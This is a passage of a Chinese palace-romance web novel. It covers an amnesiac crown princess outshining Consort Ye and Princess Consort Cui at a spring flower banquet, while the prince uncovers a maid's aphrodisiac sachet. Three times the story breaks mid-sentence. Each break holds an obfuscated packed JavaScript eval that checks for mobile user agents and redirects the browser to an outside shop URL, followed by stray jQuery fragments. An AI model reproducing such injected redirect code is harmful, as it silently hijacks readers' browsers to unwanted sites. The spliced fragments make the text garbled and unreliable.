此刻氛围太好,刘宝也笑着上前解释:“娘娘,那玉双鹅是殿下亲手雕的,石材与题材浑然天成,天下只此一座,君子不夺人所好,您就换一个吧。”
沐夷光是想什么就要什么的性子,这玉双鹅如此珍奇,更加没有放弃的道理了。
她坦坦荡荡地开始摆烂:“也不全是臣妾不愿赴宴,只是臣妾失忆了,着实不知如何在宫中行走,若是给太子丢脸了,反倒是臣妾的不是。”
陆修珩勾了勾唇,嗓音也带了一点调侃意味:“无妨,你是孤的太子妃,大可在宫中横着走。”
寒玉般的眉眼深邃而倨傲,这话语流露出的魄力与魅力都太过诱人,沐夷光只觉得心跳顿缓,不知何时她已经点了点头,心想着:也罢,自己受了赏赐,本来就要去宫中谢恩,自己虽然不爱与外人虚与委蛇,但若只是仗势欺人还是会的。
发现自己已经失口应承了下来,沐夷光心中懊悔,不过仍然没有放弃。
她恋恋不舍地看了看那只粉润可爱的玉双鹅,露出一点惋惜的神色,以退为进道:“那好吧,只是臣妾还没有想好要什么,可以日后再向殿下讨要吗?”
陆修珩应允了。
*
春日宴这天很快就到了。
仲春的清晨还带了些凉意,长缨推开窗,便看见薄薄的雾气在晨间流动,会是个灿烂的晴天。
她深吸了一口气,略带些兴奋地回首道:“娘娘,难得天气好,就穿奴婢为您新制的那身石榴红罗裙吧?”
那罗裙是六幅正幅罗料平缝的,行走起来好似云舒霞卷,虽有些繁复,但实在好看得紧,长缨还在裙腰上精心绣了一段织金银线的对凤飞鸟纹,她已经能够想象自家娘娘穿着它那幅步步生莲、飘飘欲仙的场景了。
沐夷光慢慢起身,偏着头想了想。
石榴红算是正红色,说得难听点,叶贵妃再尊贵,也不过是个妾,她要往东宫塞侍女,自己就偏要穿这正红来刺她的眼。
她轻快地点了点头,伸手让长缨为自己更衣。
反正已经得了太子殿下的示意,自己在宫中横着走,也算是谨遵太子的旨意了。
11. 第 11 章
沐夷光惯来不爱涂脂抹粉,但今日作了这样艳丽的打扮,妆容也要相宜,便任由长缨为自己描了眉点了唇,淡淡扫上一层胭脂。
长缨左看看右看看,总算得还差了点什么,最后在眉中为她带上一颗花钿,总算是心满意足。
沐夷光揽镜自照,虽然是与以往自己大相径庭的风格,但是也觉得很不错。
上了妆,然后便是绾发、更衣……一整套流程下来,大半个时辰便没有了。
陆修珩今日也要进宫,只是二人的目的地各不相同,沐夷光要去的是御花园,他要去的是御书房。
往日里二人赴宴多是各走各的,只是今日他有些事要安排,特意提前来了毓华殿要与太子妃一路。
陆修珩没有派人通传,他进毓华殿时,白露与素月正在院子里候着,低声说着话闲聊。
只是素月面带愁色,四名婢女来了才不过一日,便有两个被太子亲自打发去外院干粗活儿,可见太子妃的手段,她只觉得自己的前路越发渺茫了。
白露倒是怡然自得,自己还能留在这毓华殿,便已经是太子殿下的看重了,只要自己还能与殿下接触,不愁寻不到机会的那一天。
见太子殿下来了,二人连忙规规矩矩行礼。
陆修珩径直问道:“太子妃在何处?”
白露娇声回道:“启禀殿下,娘娘正在寝殿内梳妆。”
陆修珩示意二人起身,淡扫她一眼:“孤记得你来东宫那日腰上曾配了香囊,今日为何不带了?”
素月不自觉地侧目看了白露一眼,二人今日穿的都是同一套浅粉色的侍女服,为何太子殿下就注意到了她,殿下竟然还会在意婢女的香囊这等小事吗?
乍然提到那枚香囊,白露心中一紧,但想到此事隐秘,殿下应当不会发觉,她又放松下来回道:“那枚香囊是奴婢自己做的,只是娘娘今日要进宫赴宴赏花,便取下了。殿下若是喜欢,奴婢便为殿下做一个。”
刘宝站在殿下身后,只觉得听不下去了,这白露真不愧是叶贵妃调教出来的人,竟然如此狂妄自大。
陆修珩移开目光,眉宇间皆是厌恶之色:“孤不喜欢,但不妨碍会有人喜欢,今日便带上吧。”
他的语气冰冷,言外的寒意更是要凝为了实质,白露这才开始觉得害怕,口中嗫嚅着说不出话来。
素月在一旁听不明白,但是太子殿下似乎也没有再解释的意思,已经迈开长腿,向正殿走去。
刘宝走得慢些,“好意”提点道:“白露姑娘,咱们殿下鼻子灵,不喜欢那些乱七八糟的花香,不过二位姑娘这样花容月貌,就算在东宫待不下去了,也能寻到别的出路。只是这出路在宫里……还是在宫外,端看二位的本事了。”
素月闻言大惊,这才看到白露的脸色已经白得和纸一般,她连忙问道:“白露,这到底是怎么了?”
殿下看出来了,殿下居然看出来了。
白露连身子都微微颤抖,根本没有力气回答素月的话。
那个香囊里面装着可以致幻的催情香,平日里看不出什么,热茶一泼便会激发出药效,这也是她苦练茶艺的原因,想的便是得了太子青眼,能专心为她奉茶,等到时机合适,便可生米煮成熟饭。
这催情香来自西域,极为难得,这四婢之中贵妃娘娘也仅给了自己一人,她原以为这会是自己搭上太子殿下的依仗,没想到最后却会成为自己的催命符。
*
陆修珩从未等过女人梳妆,他在正殿候了半盏茶的功夫,已然不耐烦了。
他正要派人去催促,沐夷光终于姗姗来迟。
她今日穿了一条织金银线绣花的石榴红罗裙,发上是银鎏金镶玉嵌宝的蝶赶桃花挑心,眉心间垂了一枚红宝石片的牡丹花钿,如此艳丽而华贵的装扮却半点未压过她的风采,整个人显得雍容华贵,明艳动人。
不知怎的,他的脑海里忽然就冒出那句“淡妆浓抹总相宜”。
陆修珩当然不承认自己会把沐氏比作西子,只是这是自己第二次见她如此正式地梳妆,难免会有些惊艳——第一次算是新婚之夜,只是那一夜两人各怀心事,连长相都未曾细看。
沐夷光款款向陆修珩走来,裙摆摇曳间步步生辉:“让殿下久候,是臣妾的不是了。”
陆修珩摆了摆手,淡淡道:“无妨,孤今日也要进宫,一同走吧。”
她这才留意到殿下今日的石青色缂丝貂裘大氅下也穿了一身赤色的织金蟠龙常服,两个人站在一起格外相配。
心中的甜蜜立刻涌了上来,沐夷光正要说话,却发现殿下已经走在了前头,她连忙跟了上去。
沐夷光站在陆修珩的前方拦住了他,开心地转了一个圈儿:“殿下,臣妾今日穿的也是赤色呢,您觉得好看吗?”
六幅正幅的裙摆随她的动作飞扬了起来,在明媚的阳光下画出一个流光溢彩的圆,却依然不及她笑容炽热。
似乎觉得这光线刺目,陆修珩皱了皱眉,不过还是淡淡“嗯”了一声。
得到鼓励,沐夷光的话又多了起来:“殿下今日怎么忽然想起穿赤色了?”
她往日里见陆修珩,穿的大多是深色,不过殿下容貌俊逸,身姿也清峻挺拔,穿什么都是锦上添花一般。
陆修珩不堪其扰,勉强答道:“无心之举罢了。”
沐夷光才不依,纠正道:“是心有灵犀才是。”
……
陆修珩没答话,只是微微侧头,睨了刘宝一眼。
那眼神带着凉意,仿佛方才说的不是“无心之举”,而是“无心之失”。
刘宝头皮一紧,殿下的衣食起居都是自己在负责,回去不会又罚自己的俸银吧?
*
御花园在钟粹宫(即东宫)的西边,御书房在钟粹宫的东边,太子殿下说要同行,可谓是南辕北辙了,只是为了护着沐夷光,陆修珩还是与她一路行至御花园,目送她入了园才转身离去。
沐夷光走在前面,身后左右先是青霜、长缨,再是白露、素月。称得上是人多势众了。
远远地,沐夷光就听到了热闹的人声,她随口问道:“白露,素月,你们往日在宫中,可曾参加过这春日宴?”
白露心里慌得很,顾不上说话。
沐夷光有些奇怪地看了她一眼,这白露往日里见到陆修珩,恨不得整个人都贴过去,今日却一直是远远地跟在后面,畏之如虎。
素月出言答道:“这春日宴邀请的多是达官贵人及其家眷,奴婢们哪里有资格参加,只在料理杂事时有幸见过诸位花神的风采。若不是娘娘已经成婚了,定能一举夺得魁首。”
之所以说春日宴是花朝节的筹备会,是因为要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629041|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在宴上票选出花朝节御宴的“十二花神”,宴请的也主要是京中各级官员、勋贵家眷,当然,最重要的还是家中的适龄未婚男女。因此,春日宴在闺中又有相亲宴的别称,大家都牟足了劲儿,要在评选时一鸣惊人。
沐夷光却对素月所言兴致缺缺,她对游神展览不感兴趣,更愿意在台下看看才艺表演投投票。
进了天一门,便有宫女太监来接,引了太子妃往叶贵妃所在的绛雪轩而去。
这一对璧人的来去自然引人注目,沐夷光还未到,陆修珩亲自送她来赴宴的消息便已不胫而走了。
陆修珩虽然不受宣成帝宠爱,到底是嫡子,又有军功在身,若不是那一身病痛,这太子之位应当是高枕无忧的,而叶贵妃背靠叶礼贤,又诞下小皇子,对太子之位虎视眈眈,见太子妃要来赴宴,在场的不少人都存了看戏的心思。
一路走来,沐夷光已受到了不少注视,她对这些人的身份毫无头绪,也懒得理会,只是目不斜视地往前走。
绛雪轩内已经聚集了不少人,主位上的女子身份倒是很好辨认,她穿了一袭赤紫色华服,高髻上是一整套点翠凤凰的头面,身旁人多对她阿谀奉承,始终是一副盛气凌人的样子。
这应当就是叶贵妃了。
看在她是长辈的份上,沐夷光还是向她行了个常礼:“贵妃娘娘万福。”
沐夷光一进门,强烈而带有攻击性的美貌便吸引了在场所有人的目光,以往也不是没见过太子妃,但如此盛装出席却是头一回,都道贵妃娘娘国色天香,如此看来,哪里及得上太子妃娘娘天生丽质。
叶贵妃紧紧盯着沐夷光,目光里几乎要露出一丝恨意。
慈懿皇后已经死了十几年,宣成帝却一直未再立新后,自己固然受宠,这贵妃的身份却始终是心中一根刺,见贵妃不得穿红色,也早已成了京中人人皆知的忌讳,而沐夷光就这样光明正大地穿着石榴红的罗裙来赴宴了。
毕竟她是太子妃,而且先前舍身为太子挡箭大大露了脸,就连宣成帝也对她赞赏有加,叶贵妃再自大也知道自己不能对她当众为难,只好皮笑肉不笑地关怀道:“不必多礼,你身上的伤可大好了?”
沐夷光起身,客气道:“托陛下和娘娘的福,外伤已经好得差不多了。还要感谢贵妃娘娘,若不是娘娘为本宫送来了温顺细致的婢女,臣妾的伤哪里能够好得这样快。”
叶贵妃看了看那身红得乍眼的罗裙,又看了看被沐夷光的容貌衬得如同草芥一般的白露与素月,更是气不打一处来。
她阴阳怪气道:“那真是再好不过了,也难怪太子妃今日穿得这样喜庆。”
沐夷光微微一笑:“娘娘不说还好,这样一说本宫倒是发现了,这么大个御花园,倒是一个穿红的也没有。本宫受伤之后脑子便有些糊涂了,好些事儿都想不起来,本宫这身红裙不会犯了什么忌讳了吧?”
大家心照不宣的那一层窗户纸就这样被她捅破了,还要大大落落地讲出来,绛雪轩立刻安静了下来,有人吸气,也有人憋笑。
叶贵妃一口银牙都要咬碎了,说话都像是一字一句艰难从牙缝里蹦出来的:“太子妃娘娘说笑了,只是少人有太子妃娘娘这样倾国倾城貌,衬得起这颜色罢了。”
沐夷光的笑容弧度又大了些,她再接再厉道:“娘娘说得是,是本宫多虑了。”
12. 第 12 章
叶贵妃脸上的笑容再也挂不住了。
她自恃容貌,虽然已经年近三十了,若不是看那双飞扬跋扈的眼睛,整个人仍是保养得如同小姑娘一般,更有“回眸一笑百媚生,六宫粉黛无颜色”之名,素得宣成帝娇宠。
自己方才不过说两句场面话,可气她竟然当真应承了下来,更可气的是,明眼人都看得出来,太子妃真真当得起这句话。
叶贵妃咬牙切齿地想,自己大沐夷光一轮有余,实在不该与她去比容貌,还是要在自己有优势的主场作战才是。
于是她摆出一副长辈训话的姿态:“女子也不可一味依靠容貌,你虽然年轻,还是要早日为太子诞下子嗣,为皇家开枝散叶才是。”
叶贵妃自以为踩到了太子妃的痛脚,但在沐夷光心里,这痛脚却是陆修珩的,若不是陆修珩身体不行,二人也不会成婚至今都甚少同房,这子嗣就更加无从谈起了。
不过在几位已经成亲的皇子里,目前也仅有年纪最大的大皇子有了子嗣,且并非是嫡子。而自己嫁入东宫不过一年,宣成帝都并未催促此事,叶贵妃这是操的哪门子心呢?
沐夷光娇羞一笑,随口寻了个理由维护自家夫君的颜面:“自是如此,只是娘娘都说了本宫年纪小了,子嗣这事随缘即可,便是像娘娘这般年纪才有孕,也是极有福气的。”
叶贵妃的注意力全在“年纪”二字上了,一不小心便折断了袖袍下的指甲。
自己在宫中斗争多年,言语上甚少吃过亏,这傻蹄子不按套路出牌也就算了,偏生句句说的是实话,叫人无从反驳。
她觉得自己不能再与太子妃说话了,再说下去,自己非要气出皱纹不可。
叶贵妃僵着脸,直接宣布散场:“好了,时辰也差不多了,今日是春日宴,大家也都别在这儿拘着了,都去园子里赏赏花,准备评选花神吧。”
叶贵妃带头离去,大家也跟着散场了。
以往沐夷光在京中的人缘淡薄,方才如此大出风头,立刻便有人上来要与之攀谈,青霜全部以“我家娘娘身体不适”、“记不得了”等理由打发走了,终于落得一个清净。
但还有一个故人,沐夷光一进绛雪轩便留意到了,她此刻特意放慢了速度,悄悄地跟着她。
师瑶是原陕西都司都指挥佥事师逢德之女,三个月前师逢德升任太仆寺少卿,她便也跟随父亲来到了京城,虽然人生地不熟的,但是为了心上人,她还是决定要在这春日宴上拼一把。
她在御花园中寻了个僻静的地方,正要再好好准备一番,忽然就听到了一个有些熟悉的声音:“阿瑶姐姐。”
师瑶有些惊喜地抬头,便看到了一身红裙,偏过头笑盈盈看着自己的沐夷光。
她张了张嘴,差点要唤出太子妃的闺名,及时改口道:“臣女见过太子妃娘娘。”
沐夷光点了点头,示意白露与素月退下,又连忙拉起她的手:“好了,快起来吧,几年不见,怎的与我生分起来了。”
师瑶这就知道了,太子妃还是自己熟悉的那个阿梨妹妹,便也不再矫情,笑着打趣道:“是被娘娘凤仪美得呆住了。”
“好啦,不许再说了,姐姐私下里依旧叫我阿梨便好,”沐夷光瞋她一眼:“姐姐是何时来的京城?”
师瑶答道:“我才来三个月呢,之前就与阿梨通过信的,只是你这会儿可能不记得了。”
沐夷光有些不好意思地点了点头,她的确是毫无印象了。
二人都是一片赤诚,师瑶也不在乎这些,笑道:“先前阿梨在信中提起自己的心仪之人,我还在心里猜想是哪家的儿郎,后来便听闻了阿梨嫁入东宫的消息,还曾为你担忧,如今见你过得这样好,与太子殿下感情又和睦,总算是放心了。”
漠北民风淳朴豪放,甚至女儿也敢主动谈及自己的娶嫁话题,只是沐夷光没想到自己还与师瑶说过此事,她更加不好意思了,转移话题道:“别光说我呀,姐姐现在可有了心上人?若是可靠的儿郎,本宫便替你做主了。”
知道沐夷光是玩笑,师瑶又是爽朗大气的性子,十分干脆地点了点头。
沐夷光立刻就猜出了师瑶的心思:“姐姐今日也是来选花神的?快说说是谁家的公子这么幸运,竟被姐姐看上了。”
师瑶正是六神无主的时候,也想要沐夷光帮着出出主意,总算是鼓起勇气说出了心底的那个名字:“是去年春闱的探花郎,严景书。”
沐夷光依旧不知道是谁,不过还是很为师瑶高兴:“既然是探花郎,那也算是配得上姐姐了。”
至少学问、长相这两条都是过硬的。
她把这个名字记了下来,吩咐长缨去好好打探一番。
就在这时,辰时的钟声响了,春日宴要开始了,得知师瑶要竞选的花神不在今日,沐夷光便邀她一块儿去看花神。
不过二月光景,御花园里的花儿已经开了不少,错落在亭台水榭与堆秀石山之间,构成一幅幅绝妙的春景,而比那春景更妙绝的,当属台上的花神比试。
台下摆着数十案几,中间用屏风隔开,分为男席与女席,此时已经坐满了人。远处更是搭了三层的观赏台,专供皇室中人使用。
最上层是天子及太后使用,只是二人都未曾出席,沐夷光的席位在第二层的雅间里,案上摆着数盘茶点,还有四枝俏生生开得正艳的花,分别是梅花、杏花、梨花和牡丹,此时还未到牡丹盛开的季节,大约是暖房里催开的。
素月上前解释道:“娘娘,春日宴连开三日,每日评选四位花神,今日评选的依次是梅花花神、杏花花神、梨花花神和牡丹花神,娘娘若是有看中的“花神”表演,便可为表演的娘子赠花。”
因为师瑶要参加评选,她便没有花儿了。
沐夷光拉着师瑶一同坐下,颇有兴致地问道:“台上的那位娘子是谁家的呀?”
台上是一位正在抚琴的白衣女子,弹的是一曲《高山流水》,琴音婉转起伏,颇具“高山之巍巍,流水之洋洋”貌。
即便带了幕篱看不清容貌,如此才情,依旧让人心向往之。
这就是素月的知识盲区了,评选时为了避嫌,所有参选之人需佩戴幕篱,她对宫外之人不甚了解,的确
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629042|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猜不出是谁。
师瑶道:“京中闺秀,恐怕只有户部左侍郎安齐之女安菡梅有如此琴技。”
沐夷光点点头,已然投出了那一枝梅花:“人如其名,之后怕是也再没有这样好的了。”
果然,有安菡梅珠玉在前,之后的表演都落了下乘,甚至还有不少姑娘当众弃选,安菡梅也成功当选为梅花花神。
这位姑娘的表现实在太过出众,沐夷光有些好奇地问道:“京中十二花神,是否以梅花花神为首呢?”
这师瑶便不方便答了,还是素月道:“这十二花神原先是不分高下的,只因贵妃娘娘独爱牡丹,牡丹花神对应的又恰好是杨贵妃,京中逐渐便以牡丹花神为尊了。”
沐夷光点了点头,心中的诧异更甚,这白露便不提了,素月的表现也古怪,她是叶贵妃送来的婢女,说不定仍在为叶贵妃做事,怎么忽然胆子大起来了竟敢如此说话?
她悄悄留了个心眼,倒是对牡丹花神的评选更为好奇了。
果然,到了牡丹花神的表演,台上的气氛立刻变得不一样了,可谓是百花竞放,争奇斗艳,更有甚者,竟排出了《霓裳羽衣舞》的曲破部分,舞姿曼妙,构思精巧,真真是“繁音急节十二遍,跳珠撼玉何铿铮”。
沐夷光毫不犹豫地为这位娘子赠花了,倒是旁边的师瑶幽幽叹了一口气。
“阿瑶姐姐,怎么了?”
师瑶有些自嘲地笑了笑:“没什么,只是我明日准备的也是舞,今日见了如此超尘拔俗的舞艺,一时情怯罢了。”
“阿瑶姐姐怎么这样想,各花入各眼,阿瑶姐姐定能遇到惜花之人的,”沐夷光一边劝,一边问道:“还没有问阿瑶姐姐,明日要选的是什么花神呢?”
“我准备的是惊鸿舞,至于花神么……正是要你来帮我拿个主意,我还没有想好呢。”
沐夷光屏退了其他人,长缨便将自己打探来的情报和盘托出:“娘娘,师姑娘,奴婢已经打听清楚了,严公子最爱莲花,而且今年要竞选莲花花神的女子也格外多呢。”
“阿梨,这可怎么办呢,我还要不要选莲花花神?”
师瑶闻言更加泄气了,她是武官的女儿,本来就不擅琴棋书画,特意挑了自己擅长的舞艺,如今看来大概也是班门弄斧了。
沐夷光倒是有个主意:“阿梨姐姐,若是你也觉得此举不可行的话,不如我们另辟蹊径,改选石榴花神吧,我记得姐姐擅剑,《剑器》舞如何?”
石榴花神对应的是公孙大娘,与剑舞也合。
师瑶的眼睛立刻便亮了起来,两人一拍即合,剩下的比试都不看了,当即在御花园里寻了块无人的空地来排练,两人都会剑舞,沐夷光更是舞得一手好剑,很快就排好了一出《剑器》舞。沐夷光更是起了兴致,命人寻来了一柄柳琴,亲手为她伴奏。
陆修珩来御花园寻人时,这一曲正要终了,一小段欢快轻柔的演奏后,拨弦声由慢转急,如飞瀑急湍,又如珠落玉盘,却仍有一种隽永悠长的韵味。
沐夷光入神地弹完最后一个音,才发现周围已经跪下一圈了。
13. 第 13 章
陆修珩今日是受宣成帝传召面圣。
他身披大氅,怀抱暖炉,不疾不徐从御花园往御书房走去,走走停停的竟用了大半个时辰。
他来之前,宫人正将叶贵妃与太子妃之间的对话学给宣成帝听,宣成帝听得正有趣,见太子来了,宣成帝给他赐座,又让宫人重新开始讲。
宫人看看宣成帝,又看看太子,只觉得后颈一凉,磕磕绊绊地把这对话讲完了。
被父皇拉来听完自家八卦的陆修珩:……
平日里不见沐氏如此听话,此时倒真是横着走了。
虽然无语,但他还是为沐夷光解释道:“父皇息怒,太子妃为救儿臣受伤后便得了失忆离魂之症,近两年的事情都记不清楚了,懵懵懂懂的,不过是童言无忌罢了。”
若是叶贵妃在,只怕又要发作:十六岁的人了,算什么童言,亏你说得出口!
不过宣成帝似乎心情很好,听闻自己的宠妃吃瘪,也没有丝毫不悦,反而对太子笑道:“哪里来的那么多怒,朕反而觉得太子妃的性子愈发好了,倒是与你母后有几分相似。”
陆修珩沉默,对宣成帝的话不敢苟同。他自幼聪慧,记事极早,印象之中母后一直便是如履薄冰,唯恐行差踏错的样子,哪里会像沐夷光这般随心所欲、言辞无状?
见儿子不说话,宣成帝“哼”了一声,他就看不得陆修珩这幅冷冰冰病歪歪还没点人气儿的样子,也懒得再与他闲话了,径直道:“今日召你来,是有关老四大婚那日遇刺一案,大理寺已查明了。”
宣成帝轻描淡写将“太子”二字隐去,把大理寺的奏章递给陆修珩,只是上面还未落朱批。
陆修珩看了看:“依大理寺所言,刺杀是鞑靼人所为?”
随奏章附送上来的笔录上写得很清楚,这伙人的至亲均在当年太子屠城时被杀,因此怀恨在心,想要刺杀太子以报私仇。
陆修珩虽是反问,但心中对结果并不意外。
“是啊,”宣成帝叹了口气,似乎很是发愁:“此事可大可小,大则影响两国邦交,大齐虽然不惧鞑靼,但是连年征战,不仅国库空虚,受伤的终究是百姓啊。”
见太子殿下不接招,宣成帝不得不又往前拱了拱:“你是太子,你来说说,如何处理是好?”
陆修珩总算松了口:“父皇所言甚是,儿臣并无异议,只是太子妃受伤,若是大事化小,小事化了,恐怕沐将军那边心有芥蒂。”
沐慎之虽然忠君爱国,但的确是个暴脾气。
宣成帝干笑了一声道:“此次太子妃立了大功,朕自然不会委屈了她,毕竟是一家人,有太子妃在其中转圜,相信沐爱卿也分得清孰轻孰重。”
得了宣成帝这句话,陆修珩总算是屈身行了礼:“儿臣领旨。”
宣成帝还有些不放心,叮嘱道:“太子妃从漠北远嫁京城,已是不容易了,此次到底是为了救你受伤,你平日里多看顾些,还有,叶贵妃有些话虽不可取,但子嗣一事也要放在心上,朕还是盼着早日抱上皇长孙呐。”
此话陆修珩不置可否,宣成帝也没在意,毕竟他年富力强,对儿子的子嗣也不是特别放在心上,又道:“前些日子朱玉书要致仕,朕准了,只是这新任的户部尚书人选却迟迟未定,你可有推荐的人才?”
每日上朝,桩桩件件都要用钱,国库财力不足,这几年又是休养生息的时候,宣成帝虽是假意垂询,倒也当真有几分苦恼。
陆修珩依旧是那副公事公办的语气:“儿臣愚钝,不得而知。”
宣成帝又“哼”了一声,懒得再与老二说话:“得了,你走吧,别在这儿碍朕的眼。”
宣成帝一向口是心非,他这样说话,反倒证明陆修珩言中了君心。
若是换做其他心巧嘴乖的皇子,就该知道此时正是讨巧卖乖的好时候,可陆修珩只当作没听见似的,依言行礼退下了。
宣成帝看着陆修珩离去的背影,气得扔了御笔,又骂骂咧咧地让秉笔太监给捡回来。
罢了罢了,愚钝也比故作聪明的好。
等走出御书房好一段距离,刘宝才小声问道:“殿下明明看好安大人,方才为何不答呢?”
“安齐为官清廉,群而不党,孤只是看好他,并非要拉拢他。孤若是说了,这件事反倒不成了,”陆修珩又看了看天上明晃晃的太阳,意味深长道:“再过一个月,梅雨季节就要到了。”
刘宝不知殿下为何忽然发出如此感慨,他只是发现殿下走错了,便嘴比脑子快,一不小心就指了出来:“殿下,咱们要回钟粹宫吗?”
太子殿下似笑非笑地扫他一眼,眼神危险。
自己怎么就像洛元那傻子似的多嘴了呢?
刘宝反应迅速,连忙呵呵笑道:“殿下,难得今日天气佳,不如就去御花园看看吧。”
陆修珩轻哼一声,到底是点了点头。
心中想着:叶贵妃气量狭小,沐氏今日当众让她下不来台,还需提防她暗箭伤人,自己既然答应要护她周全,自是要做到的。
*
刘宝还不知自己吟出了“今日天气佳,清吹与鸣弹”的名句,但见了沐夷光弹琴,陆修珩的确是这么想的。
沐夷光弹完最后一个音,这才发现陆修珩来了,她收好琴,袅袅婷婷向太子行礼:“臣妾见过殿下,这是臣妾要好的手帕交,太仆寺少卿之女师瑶。”
师瑶也道:“臣女师瑶见过太子殿下。”
师逢德陆修珩自然是知道的,只是第一次从沐夷光口中听她提起她认识的人。
他一点点头,示意众人免礼平身:“太子妃今日好兴致。”
师瑶心中惶恐,还以为太子殿下不满太子妃当众弹琴为人伴奏取乐,正想认错,却听得沐夷光半是得意半是撒娇地问道:“那殿下觉得如何呢?”
园中其他人早在见到太子驾临的时候便中断歌舞跪下了,只有沐夷光浑然忘我沉浸其中,由此便可见一斑。
陆修珩勉为其难道:“尚可。”
其他人可能不觉得,但刘宝心里清楚,这对殿下来说已经是很难得的评价了。
果然,沐夷光对太子殿下的敷衍很不满意,瞪他一眼,正要说话,却听得身后传来一个娇媚婉转的女声:“太子哥哥,太子哥哥~”
沐夷光的眼睛瞪得更大了,气鼓鼓的满是诘问:这是谁?
想起宣成帝方才嘱咐的那些话,陆修珩轻咳了一声,不得不解释道:“这是贤阳公主之女,清平县主崔蓁蓁。”
沐夷光这几日恶补了陆修珩的族谱,自然知道这贤阳公主是宣成帝的庶妹,也就是说,崔蓁蓁是陆修珩的表妹,的确可以叫他“太子哥哥”。
既然是自家表妹,沐夷光便放下了戒心,迅速切换成一副温柔贤淑的表情,准备接受表妹的见礼。
崔蓁蓁今日竞选的是牡丹花神,她在台上便看到太子殿下的身影了,表演完便急匆匆地一路追随至此。只是没想到太子妃也在这里。
她虽然知道这二人不过是逢场作戏而已,但在太子殿下的面前还不敢过于放肆,规规矩矩地福身道:“臣妹见过太子殿下、太子妃。”
沐夷光柔柔一笑,还没来得及表达自己的亲切,崔蓁蓁已经飞快地起身了,曼声对陆修珩道:“太子哥哥,蓁蓁今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629043|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日评选了牡丹花神,你可看了蓁蓁的表演?”
崔蓁蓁虽然不精琴棋书画,胜在天然一副好嗓子,如燕语莺啼,婉转动听。
她一向知道自己的优势在哪里,更知道该如何发挥,今日便唱了一曲《清平乐》。
虽然在竞选牡丹花神的舞台上算不上数一数二的,只是她是清平县主,贤阳公主又一贯与叶贵妃交好,要赢得这牡丹花神之名,便如同探囊取物一般,毕竟还有哪家的女子比皇室宗亲更为尊贵的呢?
陆修珩一贯觉得这个表妹矫揉造作,今日更甚了,只是沐夷光在刚嫁入东宫之时,倒是与她交好过一段时间。
他甚至都未正眼看向她,只是漠然一暼道:“不曾。”
若是旁人,此时应当已经识趣地走开了,可崔蓁蓁仗着自己是太子表妹,脸皮格外厚实:“看来太子哥哥也觉得蓁蓁定能夺魁呢。”
这话说得太不要脸,陆修珩已经连眼神都吝于施舍了,底下的人忍笑也忍得很辛苦,只有沐夷光肆无忌惮地笑了出来。
崔蓁蓁有些奇怪地看了过来。
她原先有意哄得沐夷光与她交好,探出了几分内情。沐氏与太子哥哥不过是貌合神离,对她缠着太子哥哥也是默许甚至纵容的,只是自己的目的早已达到,沐夷光又失忆了,她也懒得再扮演姐妹情深的把戏,便不满地问道:“太子妃娘娘笑什么?”
沐夷光眨了眨眼睛,一脸无辜:“因为……蓁蓁好笑?”
四周已有“噗嗤”声传来,就连陆修珩都没忍住勾了勾唇角,他原以为沐夷光曾与崔蓁蓁交好,会对她宽容一些,倒不知自己的太子妃入宫之后竟然如此气势如虹,锐不可当。
崔蓁蓁气极,竟然一时改掉了自称“蓁蓁”的爱好:“太子妃这是觉得我当不起牡丹花神之名?”
沐夷光听了她的声音,自然猜到方才台上唱《清平乐》的姑娘就是崔蓁蓁了,对京中其他熟悉情况的人来说,更是只差没把“我是清平县主”几个字写在了幕篱上。
不过自己方才不小心取笑了她,这会儿还是给她留一分面子:“倒也不是说清平县主的表演不好,只是这一众佳人荟萃一堂,实在难分高下。”
崔蓁蓁胸有成竹:“这又何妨,一会儿自然要见分晓。”
她消息一贯灵通,这会儿又看向一旁的师瑶,嘲讽道:“我猜师姑娘选的花神是莲花吧,不过我劝师姑娘还是不要痴心妄想的好。”
师瑶起身行礼,不卑不亢道:“多谢清平县主关心,臣女并未选莲花。”
崔蓁蓁一愣,接着又不怀好意道:“也是,太子妃娘娘都亲自帮你排舞奏乐了,若是再不能中选,那可就丢脸丢大发了,还是选个冷门些的,比较稳妥。”
只是编排自己也就罢了,若是因此还要拉沐夷光下水,师瑶便不能忍了,她刚要发作,却见沐夷光已经憋红了一张小脸,一脸委屈地对陆修珩道:“殿下,臣妾为师姑娘排的舞不好吗?”
这动作师瑶可太熟悉了,沐夷光自幼便生得玉雪可爱,那双墨玉葡萄一般的眼睛更是惹人怜,每每冲自己这么一撒娇,自己便什么都依了。
陆修珩哪里看了什么舞,他来的时候师瑶便已经跪下了,不过是听了沐夷光弹的一小段剑器曲而已。
太子殿下冷眼看着这两个颇能闹腾的女人,决定两害相权取其轻:“自然是极好的。”
